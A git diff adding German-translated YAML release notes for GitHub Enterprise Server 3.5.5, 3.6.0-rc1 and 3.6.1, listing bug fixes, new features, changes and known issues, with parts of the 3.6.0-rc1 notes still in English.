+    - The {% data variables.product.prodname_registry %} npm registry no longer returns a time value in metadata responses. This was done to allow for substantial performance improvements. We continue to have all the data necessary to return a time value as part of the metadata response and will resume returning this value in the future once we have solved the existing performance issues.
+    - Resource limits that are specific to processing pre-receive hooks may cause some pre-receive hooks to fail.
+    - Actions services need to be restarted after restoring an appliance from a backup taken on a different host.
+    - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}'
\ No newline at end of file
diff --git a/translations/de-DE/data/release-notes/enterprise-server/3-5/5.yml b/translations/de-DE/data/release-notes/enterprise-server/3-5/5.yml
new file mode 100644
index 0000000000..fdb9b3ea7e
--- /dev/null
+++ b/translations/de-DE/data/release-notes/enterprise-server/3-5/5.yml
@@ -0,0 +1,27 @@
+date: '2022-08-30'
+sections:
+  bugs:
+    - Nach dem Freigeben eines Repositorys für den temporären Zugriff konnte ein Siteadministrator die Einstellungen für Sicherheitsprodukte im Repository nicht mehr verwalten. 
+    - Doppelte administrative SSH-Schlüssel konnten sowohl in der Verwaltungskonsole als auch in der Datei `/home/admin/.ssh/authorized_keys` vorkommen.
+    - "Die Siteadministratorseite für einzelne Benutzer unter <code>http(s)://<em>HOSTNAME</em>/stafftools/users/<em>USERNAME</em>/admin</code> enthielt Funktionen, die nicht für GitHub Enterprise Server vorgesehen waren."  
+    - In einigen Fällen konnte die Ausführung von `ghe-cluster-config-apply` eine leere Konfiguration zu bestehenden Knoten in einem Cluster replizieren. 
+    - "In einigen Fällen wurden Konfigurationsläufe, die mit `ghe-config-apply` gestartet wurden, nicht abgeschlossen oder gaben den Fehler `Nicht übereinstimmende Containerzahl` zurück." 
+    - Nach dem Aktualisieren eines selbstsignierten TLS-Zertifikats auf einer GitHub Enterprise Server-Instanz wurden Benutzeroberflächenelemente auf einigen Seiten der Weboberfläche nicht angezeigt. 
+    - Die Siteadministratorleiste oben auf der Weboberfläche enthielt einen defekten Link zu SHA für die aktuell ausgeführte Version der Anwendung. 
+    - "In einigen Fällen konnten Hintergrundaufgaben aufgrund einer Bibliothek, die gleichzeitig verwendet wurde, obwohl sie nicht threadsicher war, zum Stillstand kommen."
+    - "Warnungen aus der Geheimnisüberprüfung für GitHub Advanced Security-Kunden fehlten in der Webbenutzeroberfläche und der REST-API, wenn ein Siteadministrator nicht direkt auf GitHub Enterprise Server 3.4 upgradete. Die Warnungen sind nun sichtbar."
+    - "Wenn ein Benutzer ein Repository in eine Organisation forkte, wurde eine lange Liste von Organisationen nicht korrekt gerendert."
+  changes:
+    - "Die Generierung von Supportbundles wird durch die parallelisierte Protokollbereinigung beschleunigt. Weitere Informationen zu Supportbundles findest du unter [Daten für den GitHub-Support bereitstellen](/support/contacting-github-support/providing-data-to-github-support)."
+    - "APIs, die die Route `organization` oder `org` enthalten, akzeptieren jetzt entweder das Platzhalterfeld oder die ID der Organisation. Zuvor akzeptierten die APIs nur Platzhalterfelder, was dazu führte, dass kein Zugriff auf `Link`-Kopfzeilen für GitHub Advanced Security-Endpunkte möglich war. Weitere Informationen findest du unter [Organisationen](https://docs.github.com/rest/orgs/orgs) in der REST-API-Dokumentation." 
+    - "Das Unternehmensüberwachungsprotokoll enthält jetzt mehr benutzergenerierte Ereignisse, wie z. B. `project.create`. Die REST-API liefert auch zusätzliche benutzergenerierte Ereignisse, wie z. B. `repo.create`. Weitere Informationen findest du unter [Zugreifen auf das Überwachungsprotokoll für dein Unternehmen](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/accessing-the-audit-log-for-your-enterprise) und [Verwenden der Überwachungsprotokoll-API für dein Unternehmen](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/using-the-audit-log-api-for-your-enterprise#querying-the-audit-log-rest-api)."
+    - "In einigen Fällen konnten Cachereplikate einige Git-Operationen für kürzlich aktualisierte Repositorys ablehnen. Weitere Informationen zum Zwischenspeichern von Repositorys findest du unter [Informationen zum Zwischenspeichern von Repositorys](/admin/enterprise-management/caching-repositories/about-repository-caching)." 
+  known_issues:
+    - "Bei einer neu eingerichteten {% data variables.product.prodname_ghe_server %}-Instanz ohne Benutzer könnte ein Angreifer den ersten Administratorbenutzer erstellen."
+    - Benutzerdefinierte Firewallregeln werden während des Upgrades entfernt.
+    - "Nachverfolgte Git-LFS-Dateien, [die über die Webbenutzeroberfläche hochgeladen wurden](https://github.com/blog/2105-upload-files-to-your-repositories), werden dem Repository fälschlicherweise direkt hinzugefügt."
+    - "Issues können nicht geschlossen werden, wenn sie einen Permalink zu einem Blob im selben Repository enthalten und der Dateipfad des Blobs mehr als 255 Zeichen lang ist."
+    - "Wenn die Option zum Durchsuchen von GitHub.com mit GitHub Connect aktiviert wird, sind Issues in privaten und internen Repositorys nicht in den GitHub.com-Suchergebnissen enthalten."
+    - "Die {% data variables.product.prodname_registry %}-npm-Registrierung gibt in Metadatenantworten keinen Zeitwert mehr zurück. So sind erhebliche Leistungssteigerungen möglich. Die erforderlichen Daten zum Zurückgeben eines Zeitwerts in einer Metadatenantwort sind weiterhin verfügbar, und dieser Wert wird in Zukunft wieder zurückgegeben, sobald die vorhandenen Leistungsprobleme behoben wurden."
+    - "Ressourcenbegrenzungen, die nur beim Verarbeiten von Pre-Receive-Hooks auftreten, können bei manchen Pre-Receive-Hooks Fehler auslösen."
+    - "Actions-Dienste müssen nach der Wiederherstellung einer Appliance aus einer Sicherung, die auf einem anderen Host erstellt wurde, neu gestartet werden."
diff --git a/translations/de-DE/data/release-notes/enterprise-server/3-6/0-rc1.yml b/translations/de-DE/data/release-notes/enterprise-server/3-6/0-rc1.yml
new file mode 100644
index 0000000000..d4c97c5267
--- /dev/null
+++ b/translations/de-DE/data/release-notes/enterprise-server/3-6/0-rc1.yml
@@ -0,0 +1,298 @@
+date: '2022-07-26'
+release_candidate: true
+deprecated: true
+intro: |
+  {% note %}
+
+  **Note:** If {% data variables.location.product_location %} is running a release candidate build, you can't upgrade with a hotpatch. We recommend that you only run release candidates in a test environment.
+
+  {% endnote %}
+
+  For upgrade instructions, see "[Upgrading {% data variables.product.prodname_ghe_server %}](/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server)."
+sections:
+  features:
+    - heading: Infrastructure
+      notes:
+        # https://github.com/github/releases/issues/2002
+        - |
+          Repository caching is generally available. Repository caching increases Git read performance for distributed developers, providing the data locality and convenience of geo-replication without impact on push workflows. With the general availability release, GitHub Enterprise Server caches both Git and Git LFS data. For more information, see "[About repository caching](/admin/enterprise-management/caching-repositories/about-repository-caching)."
+
+    - heading: Instance security
+      notes:
+        # https://github.com/github/releases/issues/1569
+        - |
+          GitHub has changed the supported algorithms and hash functions for all SSH connections to GitHub Enterprise Server, disabled the unencrypted and unauthenticated Git protocol, and optionally allowed the advertisement of an Ed25519 host key. For more information, see the [GitHub Blog](https://github.blog/2022-06-28-improving-git-protocol-security-on-github-enterprise-server/) and the following articles.
+
+          - "[Configuring SSH connections to your instance](/admin/configuration/configuring-your-enterprise/configuring-ssh-connections-to-your-instance)"
+          - "[Enforcing repository management policies in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#configuring-anonymous-git-read-access)"
+          - "[Configuring host keys for your instance](/admin/configuration/configuring-your-enterprise/configuring-host-keys-for-your-instance)"
+
+        # https://github.com/github/releases/issues/2341
+        - |
+          You can require TLS encryption for incoming SMTP connections to your instance. For more information, see "[Configuring email for notifications](/admin/configuration/configuring-your-enterprise/configuring-email-for-notifications)."
+
+    - heading: Audit logs
+      notes:
+        # https://github.com/github/releases/issues/1438
+        - |
+          You can stream audit log and Git events for your instance to Amazon S3, Azure Blob Storage, Azure Event Hubs, Google Cloud Storage, or Splunk. Audit log streaming is in public beta and subject to change. For more information, see "[Streaming the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/streaming-the-audit-log-for-your-enterprise)."
+
+    - heading: GitHub Connect
+      notes:
+        # https://github.com/github/releases/issues/2306
+        - |
+          Server Statistics is now generally available. Server Statistics collects aggregate usage data from your GitHub Enterprise Server instance, which you can use to better anticipate the needs of your organization, understand how your team works, and show the value you get from GitHub Enterprise Server. For more information, see "[About Server Statistics](/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/about-server-statistics)."
+
+    - heading: Administrator experience
+      notes:
+        # https://github.com/github/releases/issues/2351
+        - |
+          Enterprise owners can join organizations on the instance as a member or owner from the enterprise account's **Organizations** page. For more information, see "[Managing your role in an organization owned by your enterprise](/admin/user-management/managing-organizations-in-your-enterprise/managing-your-role-in-an-organization-owned-by-your-enterprise)."
+
+        # https://github.com/github/releases/issues/2221
+        - |
+          Enterprise owners can allow users to dismiss the configured global announcement banner. For more information, see "[Customizing user messages for your enterprise](/admin/user-management/managing-users-in-your-enterprise/customizing-user-messages-for-your-enterprise#creating-a-global-announcement-banner)."
+
+    - heading: GitHub Advanced Security
+      notes:
+        # https://github.com/github/releases/issues/2321
+        - |
+          Users on an instance with a GitHub Advanced Security license can opt to receive a webhook event that triggers when an organization owner or repository administrator enables or disables a code security or analysis feature. For more information, see the following documentation.
+          
+          - "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#security_and_analysis)" in the webhook documentation
+          - "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-security-and-analysis-settings-for-your-organization)"
+          - "[Managing security and analysis features for your repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository)"
+
+        # https://github.com/github/releases/issues/2191
+        - |
+          Users on an instance with a GitHub Advanced Security license can optionally add a comment when dismissing a code scanning alert in the web UI or via the REST API. Dismissal comments appear in the event timeline. Users can also add or retrieve a dismissal comment via the REST API. For more information, see "[Triaging code scanning alerts in pull requests](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/triaging-code-scanning-alerts-in-pull-requests#dismissing-an-alert-on-your-pull-request)" and "[Code Scanning](/rest/code-scanning#update-a-code-scanning-alert)" in the REST API documentation.
+
+        # https://github.com/github/releases/issues/2228
+        - |
+          On instances with a GitHub Advanced Security license, secret scanning prevents the leak of secrets in the web editor. For more information, see "[Protecting pushes with secret scanning](/code-security/secret-scanning/protecting-pushes-with-secret-scanning#using-secret-scanning-as-a-push-protection-from-the-web-ui)."
+
+        # https://github.com/github/releases/issues/2318
+        # https://github.com/github/releases/issues/2277
+        - |
+          Enterprise owners and users on an instance with a GitHub Advanced Security license can view secret scanning alerts and bypasses of secret scanning's push protection in the enterprise and organization audit logs, and via the REST API. For more information, see the following documentation.
+          
+          - "[Protecting pushes with secret scanning](/code-security/secret-scanning/protecting-pushes-with-secret-scanning)"
+          - "[Audit log events for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise#secret_scanning_push_protection-category-actions)"
+          - "[Reviewing the audit log for your organization](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization#secret_scanning_push_protection-category-actions)"
+          - "[Secret Scanning](/rest/secret-scanning#list-secret-scanning-alerts-for-an-enterprise)" in the REST API documentation
+
+        # https://github.com/github/releases/issues/2230
+        # https://github.com/github/releases/issues/2317
+        - |
+          Enterprise owners on an instance with a GitHub Advanced Security license can perform dry runs of custom secret scanning patterns for the enterprise, and all users can perform dry runs when editing a pattern. Dry runs allow you to understand a pattern's impact across the entire instance and hone the pattern before publication and generation of alerts. For more information, see "[Defining custom patterns for secret scanning](/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning)."
+
+        # https://github.com/github/releases/issues/2236
+        - |
+          Users on an instance with a GitHub Advanced Security license can use `sort` and `direction` parameters in the REST API when retrieving secret scanning alerts, and sort based on the alert’s `created` or `updated` fields. The new parameters are available for the entire instance, or for individual organizations or repositories. For more information, see the following documentation.
+          
+          - "[List secret scanning alerts for an enterprise](/rest/secret-scanning#list-secret-scanning-alerts-for-an-enterprise)"
+          - "[List secret scanning alerts for an organization](/rest/secret-scanning#list-secret-scanning-alerts-for-an-organization)"
+          - "[List secret scanning alerts for a repository](/rest/secret-scanning#list-secret-scanning-alerts-for-a-repository)"
+          - "[Secret Scanning](/rest/secret-scanning)" in the REST API documentation
+
+        # https://github.com/github/releases/issues/2263
+        - |
+          The contents of the `github/codeql-go` repository have moved to the `github/codeql` repository, to live alongside similar libraries for all other programming languages supported by CodeQL. The open-source CodeQL queries, libraries, and extractor for analyzing codebases written in the Go programming language with GitHub's CodeQL code analysis tools can now be found in the new location. For more information, including guidance on migrating your existing workflows, see [github/codeql-go#741](https://github.com/github/codeql-go/issues/741).
+
+    - heading: Dependabot
+      notes:
+        # https://github.com/github/releases/issues/2256
+        - |
+          Enterprise owners on instances with a GitHub Advanced Security license can see an overview of Dependabot alerts for the entire instance, including a repository-centric view of application security risks, and an alert-centric view of all secret scanning and Dependabot alerts. The views are in beta and subject to change, and alert-centric views for code scanning are planned for a future release of GitHub Enterprise Server. For more information, see "[Viewing the security overview](/code-security/security-overview/viewing-the-security-overview#viewing-the-security-overview-for-an-enterprise)."
+
+        # https://github.com/github/releases/issues/2160
+        - |
+          Users can select multiple Dependabot alerts, then dismiss or reopen or dismiss the alerts. For example, from the **Closed alerts** tab, you can select multiple alerts that have been previously dismissed, and then reopen them all at once. For more information, see "[About Dependabot alerts](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies)."
+
+        # https://github.com/github/releases/issues/2232
+        - |
+          Dependabot updates `@types` dependencies alongside corresponding packages in TypeScript projects. Before this change, users would see separate pull requests for a package and the corresponding `@types` package. This feature is automatically enabled for repositories containing `@types` packages in the project's `devDependencies` within the _package.json_ file. You can disable this behavior by setting the [`ignore`](/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file#ignore) field in your `dependabot.yml` file to `@types/*`. For more information, see "[About Dependabot version updates](/code-security/dependabot/dependabot-version-updates/about-dependabot-version-updates)" and "[Configuration options for the _dependabot.yml_ file](/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file)."
+
+    - heading: Code security
+      notes:
+        # https://github.com/github/releases/issues/2098
+        # https://github.com/github/releases/issues/2282
+        - |
+          GitHub Actions can enforce dependency reviews on users' pull requests by scanning for dependencies, and will warn users about associated security vulnerabilities. The `dependency-review-action` action is supported by a new API endpoint that diffs the dependencies between any two revisions. For more information, see "[About dependency review](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review#dependency-review-enforcement)."
+
+        # https://github.com/github/releases/issues/2243
+        - |
+          The dependency graph detects _Cargo.toml_ and _Cargo.lock_ files for Rust. These files will be displayed in the **Dependency graph** section of the **Insights** tab. Users will receive Dependabot alerts and updates for vulnerabilities associated with their Rust dependencies. Package metadata, including mapping packages to repositories, will be added at a later date. For more information, see "[About the dependency graph](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph)."
+
+        # https://github.com/github/releases/issues/1766
+        - |
+          If GitHub Connect is enabled for your instance, users can contribute an improvement to a security advisory in the [GitHub Advisory Database](https://github.com/advisories). To contribute, click **Suggest improvements for this vulnerability** while viewing an advisory's details. For more information, see the following articles.
+          
+          - "[Managing GitHub Connect](/admin/configuration/configuring-github-connect/managing-github-connect)"
+          - "[Browsing security vulnerabilities in the GitHub Advisory Database](/enterprise-cloud@latest/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/browsing-security-vulnerabilities-in-the-github-advisory-database)" in the GitHub Enterprise Cloud documentation
+          - "[About GitHub Security Advisories for repositories](/enterprise-cloud@latest/code-security/repository-security-advisories/about-github-security-advisories-for-repositories)" in the GitHub Enterprise Cloud documentation
+          - "[Editing security advisories in the GitHub Advisory Database](/enterprise-cloud@latest/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/editing-security-advisories-in-the-github-advisory-database)" in the GitHub Enterprise Cloud documentation
+
+    - heading: GitHub Actions
+      notes:
+        # https://github.com/github/releases/issues/2159
+        - |
+          Within a workflow that calls a reusable workflow, users can pass the secrets to the reusable workflow with `secrets: inherit`. For more information, see "[Reusing workflows](/actions/using-workflows/reusing-workflows#using-inputs-and-secrets-in-a-reusable-workflow)."
+
+        # https://github.com/github/releases/issues/2102
+        - |
+          When using GitHub Actions, to reduce the risk of merging a change that was not reviewed by another person into a protected branch, enterprise owners and repository administrators can prevent Actions from creating pull requests. Organization owners could previously enable this restriction. For more information, see the following articles.
+
+          - "[Enforcing policies for GitHub Actions in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#preventing-github-actions-from-creating-or-approving-pull-requests)"
+          - "[Disabling or limiting GitHub Actions for your organization](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization#preventing-github-actions-from-creating-or-approving-pull-requests)"
+          - "[Managing GitHub Actions settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#preventing-github-actions-from-creating-or-approving-pull-requests)"
+
+        # https://github.com/github/releases/issues/2155
+        - |
+          Users can write a single workflow triggered by `workflow_dispatch` and `workflow_call`, and use the `inputs` context to access input values. Previously, `workflow_dispatch` inputs were in the event payload, which increased difficulty for workflow authors who wanted to write one workflow that was both reusable and manually triggered. For workflows triggered by `workflow_dispatch`, inputs are still available in the `github.event.inputs` context to maintain compatibility.  For more information, see "[Contexts](/actions/learn-github-actions/contexts#inputs-context)."
+
+        # https://github.com/github/releases/issues/2103
+        - |
+          To summarize the result of a job, users can generate Markdown and publish the contents as a job summary. For example, after running tests with GitHub Actions, a summary can provide an overview of passed, failed, or skipped tests, potentially reducing the need to review the full log output. For more information, see "[Workflow commands for GitHub Actions](/actions/using-workflows/workflow-commands-for-github-actions#adding-a-job-summary)."
+
+        # https://github.com/github/releases/issues/2161
+        - |
+          To more easily diagnose job execution failures during a workflow re-run, users can enable debug logging, which outputs information about a job's execution and environment. For more information, see "[Re-running workflows and jobs](/actions/managing-workflow-runs/re-running-workflows-and-jobs)" and "[Using workflow run logs](/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs#viewing-logs-to-diagnose-failures)."
+
+        # https://github.com/github/releases/issues/2140
+        - |
+          If you manage self-hosted runners for GitHub Actions, you can ensure a consistent state on the runner itself before and after a workflow run by defining scripts to execute. By using scripts, you no longer need to require that users manually incorporate these steps into workflows. Pre- and post-job scripts are in beta and subject to change. For more information, see "[Running scripts before or after a job](/actions/hosting-your-own-runners/running-scripts-before-or-after-a-job)."
+
+    - heading: GitHub Packages
+      notes:
+        # https://github.com/github/releases/issues/2334
+        - |
+          Enterprise owners can migrate container images from the GitHub Docker registry to the GitHub Container registry. The Container registry provides the following benefits.
+          
+          - Improves the sharing of containers within an organization
+          - Allows the application of granular access permissions
+          - Permits the anonymous sharing of public container images
+          - Implements OCI standards for hosting Docker images
+          
+          The Container registry is in beta and subject to change. For more information, see "[Migrating your enterprise to the Container registry from the Docker registry](/admin/packages/migrating-your-enterprise-to-the-container-registry-from-the-docker-registry)."
+
+    - heading: Community experience
+      notes:
+        # https://github.com/github/releases/issues/2113
+        - |
+          GitHub Discussions is available for GitHub Enterprise Server. GitHub Discussions provides a central gathering space to ask questions, share ideas, and build connections. For more information, see "[GitHub Discussions](/discussions)."
+
+        # https://github.com/github/releases/issues/2259
+        - |
+          Enterprise owners can configure a policy to control whether people's usernames or full names are displayed within internal or public repositories. For more information, see "[Enforcing repository management policies in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-the-display-of-member-names-in-your-repositories)."
+
+    - heading: Organizations
+      notes:
+        # https://github.com/github/releases/issues/2019
+        - |
+          Users can create member-only READMEs for an organization. For more information, see "[Customizing your organization's profile](/organizations/collaborating-with-groups-in-organizations/customizing-your-organizations-profile)."
+
+        # https://github.com/github/releases/issues/2234
+        - |
+          Organization owners can pin a repository to an organization's profile directly from the repository via the new **Pin repository** dropdown. Pinned public repositories appear to all users of your instance, while public, private, and internal repositories are only visible to organization members.
+
+    - heading: Repositories
+      notes:
+        # https://github.com/github/releases/issues/2214
+        - |
+          While creating a fork, users can customize the fork's name. For more information, see "[Fork a repo](/get-started/quickstart/fork-a-repo)."
+
+        # https://github.com/github/releases/issues/1973
+        - |
+          Users can block creation of branches that match a configured name pattern with the **Restrict pushes that create matching branches** branch protection rule. For example, if a repository's default branch changes from `master` to `main`, a repository administrator can prevent any subsequent creation or push of the `master` branch. For more information, see 
+          "[About protected branches](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches#restrict-who-can-push-to-matching-branches)" and "[Managing a branch protection rule](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule#creating-a-branch-protection-rule)."
+
+        # https://github.com/github/releases/issues/2179
+        - |
+          Users can create a branch directly from a repository's **Branches** page by clicking the **New branch**. For more information, see "[Creating and deleting branches within your repository](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository)."
+
+        # https://github.com/github/releases/issues/2220
+        - |
+          Users can delete a branch that's associated with an open pull request. For more information, see "[Creating and deleting branches within your repository](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository)."
+
+        # https://github.com/github/releases/issues/2118
+        - |
+          Repositories with multiple licenses display all of the licenses in the "About" sidebar on the {% octicon "code" aria-label="The code icon" %} **Code** tab. For more information, see "[Licensing a repository](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/licensing-a-repository)."
+
+        # https://github.com/github/releases/issues/2233
+        - When a user renames or moves a file to a new directory, if at least half of the file's contents are identical, the commit history indicates that the file was renamed, similar to `git log --follow`. For more information, see the [GitHub Blog](https://github.blog/changelog/2022-06-06-view-commit-history-across-file-renames-and-moves/).
+
+        # https://github.com/github/releases/issues/2093
+        - |
+          Users can require a successful deployment of a branch before anyone can merge the pull request associated with the branch. For more information, see "[About protected branches](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches#require-deployments-to-succeed-before-merging)" and "[Managing a branch protection rule](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule)."
+
+        # https://github.com/github/releases/issues/2073
+        - |
+          Enterprise owners can prevent organization owners from inviting collaborators to repositories on the instance. For more information, see "[Enforcing a policy for inviting collaborators to repositories](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-inviting-collaborators-to-repositories)."
+
+        # https://github.com/github/releases/issues/2173
+        - |
+          Users can grant exceptions to GitHub Apps for any branch protection rule that supports exceptions. For more information, see "[About apps](/developers/apps/getting-started-with-apps/about-apps)" and "[Managing a branch protection rule](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule)."
+
+    - heading: Commits
+      notes:
+        # https://github.com/github/releases/issues/2306
+        - |
+          For public GPG signing keys that are expired or revoked, GitHub Enterprise Server verifies Git commit signatures and show commits as verified if the user made the commit while the key was still valid. Users can also upload expired or revoked GPG keys. For more information, see "[About commit signature verification](/authentication/managing-commit-signature-verification/about-commit-signature-verification)."
+
+        # https://github.com/github/releases/issues/1977
+        - |
+          To affirm that a commit complies with the rules and licensing governing a repository, organization owners and repository administrators can now require developers to sign off on commits made through the web interface. For more information, see "[Managing the commit signoff policy for your organization](/organizations/managing-organization-settings/managing-the-commit-signoff-policy-for-your-organization)" and "[Managing the commit signoff policy for your repository](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-commit-signoff-policy-for-your-repository)."
+
+    - heading: Pull requests
+      notes:
+        # https://github.com/github/releases/issues/2261
+        - |
+          Using the file tree located in the **Files changed** tab of a pull request, users can navigate modified files, understand the size and scope of changes, and focus reviews. The file tree appears if a pull request modifies at least two files, and the browser window is sufficiently wide. For more information, see "[Reviewing proposed changes in a pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request)" and "[Filtering files in a pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/filtering-files-in-a-pull-request)."
+
+        # https://github.com/github/releases/issues/2167
+        - |
+          Users can default to using pull requests titles as the commit message for all squash merges. For more information, see "[Configuring commit squashing for pull requests](/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/configuring-commit-squashing-for-pull-requests)."
+
+    - heading: Releases
+      notes:
+        # https://github.com/github/releases/issues/2281
+        - |
+          When viewing the details for a particular release, users can see the creation date for each release asset. For more information, see "[Viewing your repository's releases and tags](/repositories/releasing-projects-on-github/viewing-your-repositorys-releases-and-tags)."
+
+        # https://github.com/github/releases/issues/2279
+        - While creating a release with automatically generated release notes, users can see the tag identified as the previous release, then choose to select a different tag to specify as the previous release. For more information, see "[Automatically generated release notes](/repositories/releasing-projects-on-github/automatically-generated-release-notes)."
+
+    - heading: Markdown
+      notes:
+        # https://github.com/github/releases/issues/2260
+        - |
+          Editing Markdown in the web interface has been improved.
+          
+          - After a user selects text and pastes a URL, the selected text will become a Markdown link to the pasted URL.
+          - When a user pastes spreadsheet cells or HTML tables, the resulting text will render as a table.
+          - When a user copies text containing links, the pasted text will include the link as a Markdown link.
+
+          For more information, see "[Basic writing and formatting syntax](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax#links)."
+
+        # https://github.com/github/releases/issues/2258
+        - |
+          When editing a Markdown file in the web interface, clicking the **Preview** tab will automatically scroll to the place in the preview that you were editing. The scroll location is based on the position of your cursor before you clicked the **Preview** tab.
+
+  changes:
+    - Interactive elements in the web interface such as links and buttons show a visible outline when focused with a keyboard, to help users find the current position on a page. In addition, when focused, form fields have a higher contrast outline.
+    - If a user refreshes the page while creating a new issue or pull request, the assignees, reviewers, labels and projects will all be preserved.
+
+  known_issues:
+    - On a freshly set up {% data variables.product.prodname_ghe_server %} instance without any users, an attacker could create the first admin user.
+    - Custom firewall rules are removed during the upgrade process.
+    - Git LFS tracked files [uploaded through the web interface](https://github.com/blog/2105-upload-files-to-your-repositories) are incorrectly added directly to the repository.
+    - Issues cannot be closed if they contain a permalink to a blob in the same repository, where the blob's file path is longer than 255 characters.
+    - When "Users can search GitHub.com" is enabled with GitHub Connect, issues in private and internal repositories are not included in GitHub.com search results.
+    - The {% data variables.product.prodname_registry %} npm registry no longer returns a time value in metadata responses. This was done to allow for substantial performance improvements. We continue to have all the data necessary to return a time value as part of the metadata response and will resume returning this value in the future once we have solved the existing performance issues.
+    - Resource limits that are specific to processing pre-receive hooks may cause some pre-receive hooks to fail.
+    - Actions services need to be restarted after restoring an instance from a backup taken on a different host.
+    - In a repository's settings, enabling the option to allow users with read access to create discussions does not enable this functionality.
+    - In some cases, users cannot convert existing issues to discussions.
+    - Custom patterns for secret scanning have `.*` as an end delimiter, specifically in the "After secret" field. This delimiter causes inconsistencies in scans for secrets across repositories, and you may notice gaps in a repository's history where no scans completed. Incremental scans may also be impacted. To prevent issues with scans, modify the end of the pattern to remove the `.*` delimiter.
+    - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}'
\ No newline at end of file
diff --git a/translations/de-DE/data/release-notes/enterprise-server/3-6/1.yml b/translations/de-DE/data/release-notes/enterprise-server/3-6/1.yml
new file mode 100644
index 0000000000..3ae7af2fe6
--- /dev/null
+++ b/translations/de-DE/data/release-notes/enterprise-server/3-6/1.yml
@@ -0,0 +1,33 @@
+date: '2022-08-30'
+sections:
+  bugs:
+    - Nach dem Freigeben eines Repositorys für den temporären Zugriff konnte ein Siteadministrator die Einstellungen für Sicherheitsprodukte im Repository nicht mehr verwalten. 
+    - Doppelte administrative SSH-Schlüssel konnten sowohl in der Verwaltungskonsole als auch in der Datei `/home/admin/.ssh/authorized_keys` vorkommen.
+    - "Die Siteadministratorseite für einzelne Benutzer unter <code>http(s)://<em>HOSTNAME</em>/stafftools/users/<em>USERNAME</em>/admin</code> enthielt Funktionen, die nicht für GitHub Enterprise Server vorgesehen waren."  
+    - In einigen Fällen konnte die Ausführung von `ghe-cluster-config-apply` eine leere Konfiguration zu bestehenden Knoten in einem Cluster replizieren. 
+    - "In einigen Fällen wurden Konfigurationsläufe, die mit `ghe-config-apply` gestartet wurden, nicht abgeschlossen oder gaben den Fehler `Nicht übereinstimmende Containerzahl` zurück." 
+    - Nach dem Aktualisieren eines selbstsignierten TLS-Zertifikats auf einer GitHub Enterprise Server-Instanz wurden Benutzeroberflächenelemente auf einigen Seiten der Weboberfläche nicht angezeigt. 
+    - "In einigen Fällen konnten Hintergrundaufgaben aufgrund einer Bibliothek, die gleichzeitig verwendet wurde, obwohl sie nicht threadsicher war, zum Stillstand kommen."
+    - Die Siteadministratorleiste oben auf der Weboberfläche enthielt einen defekten Link zu SHA für die aktuell ausgeführte Version der Anwendung.
+    - "Die Besitzer der Organisation konnten nicht festlegen, welche Zugriffsrechte für die Erstellung von Diskussionen erforderlich sind." 
+    - Benutzer von Diskussionen wurden fälschlicherweise auf die Communityrichtlinien für GitHub.com verwiesen.
+    - "In einigen Fällen wurden die Benutzer fälschlicherweise angewiesen, vor dem Erstellen einer Diskussion ihre E-Mail-Adresse zu bestätigen."
